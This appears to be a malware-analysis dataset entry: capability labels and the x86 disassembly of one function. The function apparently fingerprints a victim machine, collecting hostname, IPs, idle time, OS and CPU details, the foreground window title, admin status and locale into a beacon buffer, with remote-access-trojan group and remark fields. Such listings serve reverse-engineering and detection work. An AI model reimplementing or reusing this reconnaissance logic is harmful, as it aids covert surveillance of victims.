Function at 0x401470
Capabilities:
Get common file path
Get geographical location
Get graphical window text
Get hostname
Get system information on windows
Get token membership
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2168
call fcn.0041a830
mov eax, dword [0x4371c0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xf90
mov dword [ebp - 0x213c], eax
mov dword [ebp - 0x2144], ecx
call fcn.004186e7
add esp, 4
push 0xf90
mov edi, eax
push 0
push edi
mov dword [ebp - 0x2140], edi
call fcn.00419e30
add esp, 0xc
push 0x100
lea edx, [ebp - 0x10c]
push 0
push edx
mov byte [edi], 3
call fcn.00419e30
add esp, 0xc
push 0x100
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00419e30
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4015ad
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x10c]
push 0x100
push eax
call fcn.004188d6
add esp, 0xc
push str._n
lea ecx, [ebp - 0x10c]
push 0x100
push ecx
call fcn.004188d6
movsx edx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add edx, dword [eax]
add esp, 0xc
cmp edx, dword [esi]
jae 0x4015ad
xor ebx, ebx
mov eax, dword [ebx + eax + 4]
mov ecx, dword [eax]
add ebx, 4
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea edx, [ebp - 0x10c]
push 0x100
push edx
call fcn.004188d6
add esp, 0xc
push str._n
lea eax, [ebp - 0x10c]
push 0x100
push eax
call fcn.004188d6
movsx ecx, word [esi + 0xa]
mov eax, dword [esi + 0xc]
add ecx, dword [ebx + eax]
add esp, 0xc
cmp ecx, dword [esi]
jb 0x401561
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x10c]
push edx
push 0
push 0
call ebx
push eax
lea eax, [edi + 2]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
call ebx
lea edx, [ebp - 0x214]
push edx
mov dword [ebp - 0x214], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x210]
cmp eax, 0x2bf20
ja 0x401614
push 0x4324d0
push 0xa
lea eax, [edi + 0x200]
push eax
jmp 0x401622
push 0x4324d4
push 0xa
lea ecx, [edi + 0x200]
push ecx
call fcn.004189a3
add esp, 0xc
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x20c]
push edx
push 0
push 0
call ebx
push eax
lea esi, [edi + 0x214]
push esi
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
mov dword [ebp - 0x2134], esi
call ebx
call fcn.004032b0
mov ebx, eax
push ebx
push esi
push str._s__n
push 0x64
push esi
call fcn.00418767
add esp, 0x14
test ebx, ebx
je 0x401680
push ebx
call fcn.004188c0
add esp, 4
lea ebx, [edi + 0x2dc]
push str.ntdll.dll
mov dword [ebp - 0x2138], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40170d
push str.RtlGetNtVersionNumbers
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4016f6
lea ecx, [ebp - 0x2128]
push ecx
lea edx, [ebp - 0x212c]
push edx
lea ecx, [ebp - 0x2130]
push ecx
call eax
mov eax, dword [ebp - 0x2128]
mov edx, dword [ebp - 0x212c]
and eax, 0xffff
push eax
push edx
mov dword [ebp - 0x2128], eax
mov eax, dword [ebp - 0x2130]
push eax
push str._d._d._d
push 0x1e
push ebx
call fcn.00418767
add esp, 0x18
jmp 0x401706
push str.error
push 0x1e
push ebx
call fcn.00418767
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea esi, [edi + 0x318]
push esi
mov dword [ebp - 0x212c], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
push esi
push reloc.OLEAUT32.dll_SysReAllocString
mov edx, str.ProcessorNameString
mov ecx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
call fcn.00402f10
add esp, 0xc
lea ebx, [edi + 0x390]
call fcn.00402e00
lea esi, [edi + 0x520]
call fcn.004031b0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x40176d
push 0x104
lea ecx, [edi + 0x598]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp dword [ebp + 0x10], 0
mov ebx, str.back
jne 0x40177d
mov ebx, str.main
lea esi, [edi + 0x796]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 2
push esi
push SysReAllocString
mov edx, str.FENZU
mov ecx, ebx
call fcn.00402f10
add esp, 0xc
cmp eax, 1
jge 0x4017b6
push 0x43b65c
push 0x32
push esi
call fcn.004189a3
add esp, 0xc
cmp dword [ebp + 0x10], 0
mov ebx, str.back
jne 0x4017c6
mov ebx, str.main
lea esi, [edi + 0x7fa]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 2
push esi
push SysReAllocString
mov edx, str.BEIZHU
mov ecx, ebx
call fcn.00402f10
add esp, 0xc
cmp eax, 1
jge 0x4017ff
push str.2023.12
push 0x32
push esi
call fcn.004189a3
add esp, 0xc
mov eax, dword [ebp + 0xc]
push 0xa
push 0x32
lea edx, [edi + 0x85e]
push edx
push eax
call fcn.00418ae5
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0xa
push 0x1e
lea ecx, [edi + 0x930]
push ecx
push eax
call fcn.00418ae5
xor eax, eax
add esp, 0x10
push 0x4329e0
push str.kernel32.dll
mov dword [ebp - 0x2168], eax
mov dword [ebp - 0x2164], eax
mov dword [ebp - 0x2160], eax
mov dword [ebp - 0x215c], eax
mov dword [ebp - 0x2158], eax
mov dword [ebp - 0x2154], eax
mov dword [ebp - 0x2150], eax
mov dword [ebp - 0x214c], eax
mov dword [ebp - 0x2148], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40188e
lea edx, [ebp - 0x2168]
push edx
call eax
jmp 0x40189b
lea eax, [ebp - 0x2168]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x2168]
mov ecx, 6
cmp cx, ax
je 0x4018b5
mov edx, 9
cmp dx, ax
jne 0x4018c5
push 0x4325ac
push 0x1e
lea eax, [edi + 0x96c]
push eax
jmp 0x4018d3
push 0x4325b4
push 0x1e
lea ecx, [edi + 0x96c]
push ecx
call fcn.004189a3
lea edx, [edi + 0x9a8]
add esp, 0xc
push edx
call fcn.00402c30
add esp, 4
lea eax, [ebp - 0x2128]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x214]
push ecx
mov dword [ebp - 0x214], 0
mov word [ebp - 0x210], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x2130], eax
test eax, eax
je 0x401959
mov eax, dword [ebp - 0x2128]
lea edx, [ebp - 0x2130]
push edx
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x2128]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0x2130]
cmp eax, 1
lea eax, [edi + 0xa0c]
mov dword [ebp - 0x2128], eax
jne 0x401971
push 0x4325bc
jmp 0x401976
push 0x4325c0
push 5
push eax
call fcn.004189a3
add esp, 0xc
call fcn.004029b0
test eax, eax
je 0x40199a
push 0x4325bc
push 0xa
lea edx, [edi + 0xa16]
push edx
jmp 0x4019a8
push 0x4325c0
push 0xa
lea eax, [edi + 0xa16]
push eax
call fcn.004189a3
lea ecx, [edi + 0xa2a]
add esp, 0xc
push ecx
call fcn.004025b0
add esp, 4
call fcn.00402360
mov esi, 0x4325bc
test eax, eax
jne 0x4019d2
mov esi, 0x4325c0
call fcn.004021b0
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push eax
push esi
lea edx, [edi + 0xc28]
push 0x4325c4
push edx
call ebx
add esp, 0x10
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x21a]
movzx eax, word [ebp - 0x21c]
push ecx
movzx ecx, word [ebp - 0x21e]
push edx
movzx edx, word [ebp - 0x222]
push eax
movzx eax, word [ebp - 0x224]
push ecx
mov ecx, dword [ebp - 0x2144]
push edx
push eax
push ecx
lea edx, [edi + 0x8c2]
push 0x4325d0
push edx
call ebx
add esp, 0x24
lea esi, [edi + 0x926]
push 0x432618
push esi
call ebx
add esp, 8
push 0x40
lea eax, [edi + 0xc8c]
push eax
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x1e00
lea ecx, [ebp - 0x2120]
push 0
push ecx
call fcn.00419e30
add esp, 0xc
lea edx, [ebp - 0x2124]
push edx
push 0x401d90
push 0
push 0
mov dword [ebp - 0x2124], 0
call dword [sym.imp.USER32.dll_EnumDisplayMonitors]
lea eax, [ebp - 0x2124]
add edi, 0xccc
push eax
call fcn.00401e90
mov edi, dword [ebp - 0x2140]
push 0x32
lea ecx, [edi + 0xeca]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [ebp - 0x31c]
push edx
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
je 0x401aff
mov ecx, dword [ebp - 0x212c]
mov edx, dword [ebp - 0x2138]
lea eax, [ebp - 0x318]
push eax
mov eax, dword [ebp - 0x2134]
push ecx
push edx
push eax
lea ecx, [edi + 0xf2e]
push ecx
jmp 0x401b1d
mov edx, dword [ebp - 0x212c]
mov eax, dword [ebp - 0x2138]
mov ecx, dword [ebp - 0x2134]
push 0
push edx
push eax
push ecx
lea edx, [edi + 0xf2e]
push edx
mov edx, dword [ebp - 0x2128]
mov ecx, esi
call fcn.00401b60
mov ecx, dword [ebp - 0x213c]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
add esp, 0x14
push 0xf90
push edi
call edx
push edi
mov esi, eax
call fcn.0041828d
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041815f
mov esp, ebp
pop ebp
ret